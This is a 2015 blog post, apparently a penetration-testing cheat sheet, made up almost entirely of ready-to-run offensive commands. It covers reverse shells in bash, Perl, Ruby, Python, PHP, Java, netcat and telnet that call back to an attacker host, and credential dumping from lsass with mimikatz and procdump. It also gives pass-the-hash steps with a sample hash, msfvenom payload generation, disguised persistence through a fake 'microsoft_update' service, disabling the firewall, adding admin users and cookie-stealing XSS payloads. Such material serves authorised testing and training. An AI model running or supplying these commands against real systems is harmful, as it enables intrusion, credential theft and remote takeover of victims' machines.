EK

menu

Pentest Tips and Tricks

Pentest Handy Tips and Tricks.

Other Parts

- Part 1
- Part 2

Nmap Full Web Vulnerable Scan

```
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse -script-args vulscandb=scipvuldb.csv
nmap -sS -sV --script=vulscan/vulscan.nse -script-args vulscandb=scipvuldb.csv
nmap -PN -sS -sV --script=vulscan -script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all -script-args vulscancorrelation=1 target
```

Dirb Dir Bruteforce:

```
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
```

Nikto web server scanner

```
nikto -C all -h http://IP
```

WordPress Scanner

```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
```

```
./wpscan -url http://IP/ -enumerate p
```

HTTP Fingerprinting

```
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt
```

SKIP Fish Scanner

```
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish
```

Nmap Ports Scan

```
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys
2)fargement
3)data packed - like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to
5)nmap -source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f -mtu=24 -data-length=1337 -T2 target ( I
nmap -Pn -T2 -sV -randomize-hosts IP1,IP2
nmap -script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)
```

NC Scanning

```
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
```

Unicornscan

```
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
```

```
-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose
```

Xprobe2 OS fingerprinting

```
xprobe2 -v -p tcp:80:open IP
```

Samba Enumeration

```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
```

SNMP Enumeration

```
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
```

Windows Useful cmds

```
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
```

PuTTY Link tunnel

```
Forward remote port to local address
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
```

Meterpreter portfwd

```
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
```

Enable RDP Access

```
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSC
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```

Turn Off Windows Firewall

```
netsh firewall set opmode disable
```

Meterpreter VNC\RDP

```
a
# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-deskt
run getgui -u admin -p 1234
run vnc -p 5043
```

Add New user in Windows

```
net user test 1234 /add
net localgroup administrators test /add
```

Mimikatz use

```
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
```

Passing the Hash

```
git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8
msf exploit(psexec) > exploit
meterpreter > shell
```

Hashcat password cracking

```
hashcat -m 400 -a 0 hash /root/rockyou.txt
```

Netcat examples

```
c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
```

Banner grabbing with NC

```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>
```

Window reverse shell

```
c:>nc -Lp 31337 -vv -e cmd.exe
```

```
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
```

Find SUID\SGID root files

```
# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls
```

Python shell

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Python\Ruby\PHP HTTP Server

```
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.
php -S 0.0.0.0:8888
```

Get PIDs of process

```
fuser -nv tcp 80
fuser -k -n tcp 80
```

Hydra rdp Bruteforce

```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
```

Mount Remote Windows Share

```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```

Compiling Exploit in Kali

```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
```

Compiling Windows Exploits on Kali

```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Instal
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
```

NASM Commands

```
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
```

SSH Pivoting

```
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
```

SSH Pivoting from One Network to Another

```
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
```

Pivoting Using metasploit

```
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP I

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2
```

Exploit-DB search using CSV File

```
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit -u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos |
```

MSF Payloads

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > explo
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x8
```

MSF Linux Reverse Meterpreter Binary

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e
```

MSF Reverse Shell (C Shellcode)

```
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x(
```

MSF Reverse Shell Python Script

```
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
```

MSF Reverse ASP Shell

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<You
```

MSF Reverse Bash Shell

```
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to
```

MSF Reverse PHP Shell

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Po
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php
```

MSF Reverse Win Bin

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<You
```

Linux Security Commands

```
# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn't be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####'

# generate random passwords
cat /dev/urandom| tr -dc 'a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?='|fold -w 12| head -n

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep '^….i'

# fix immutable files
chattr -i file
```

Win Buffer Overflow Exploit Commands

```
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --p
```

```
COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20                                For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c              Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest
```

SEH - Structured Exception Handling

```
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisr
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
```

ROP (DEP)

```
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
```

ASLR - Address space layout randomization

```
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr
```

EGG Hunter techniques

```
# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-w
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
```

GDB Debugger Commands

```
# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d -> Decimal
print /t -> Binary
print /x -> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n -> Number of fields to display ==>
y -> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z -> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
```

BASH Reverse Shell

```
bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5;
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
```

PERL Reverse Shell

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdoper
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprot
```

RUBY Reverse Shell

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.pope
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/
```

PYTHON Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SO
```

PHP Reverse Shell

```
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
```

JAVA Reverse Shell

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while r
p.waitFor()
```

NETCAT Reverse Shell

```
nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
```

TELNET Reverse Shell

```
# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
```

XTERM Reverse Shell

```
# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
```

```
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm
```

XSS Cheat Codes

```
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))

";!-"<XSS>=&amp;amp;{()}

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>""">
<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&a

<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&a
<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

("><iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.
<img src=asdf onerror=alert(document.cookie)>
```

SSH Over SCTP (With Socat)

```
# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 2
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
```

```
# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337
```

Install Metasploit Community Edition in Kali 2.0

```
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole
```

EK

Totally not a hacker

Email Twitter Github

Pentest Tips and Tricks was published on July 01, 2015 and last modified on July 01, 2015.

YOU MIGHT ALSO ENJOY (VIEW ALL POSTS)

- Move from HDD to SSD with ArchLinux
- Linux SysAdm/DevOps Interview Questions
- ArchLinux Installation Guide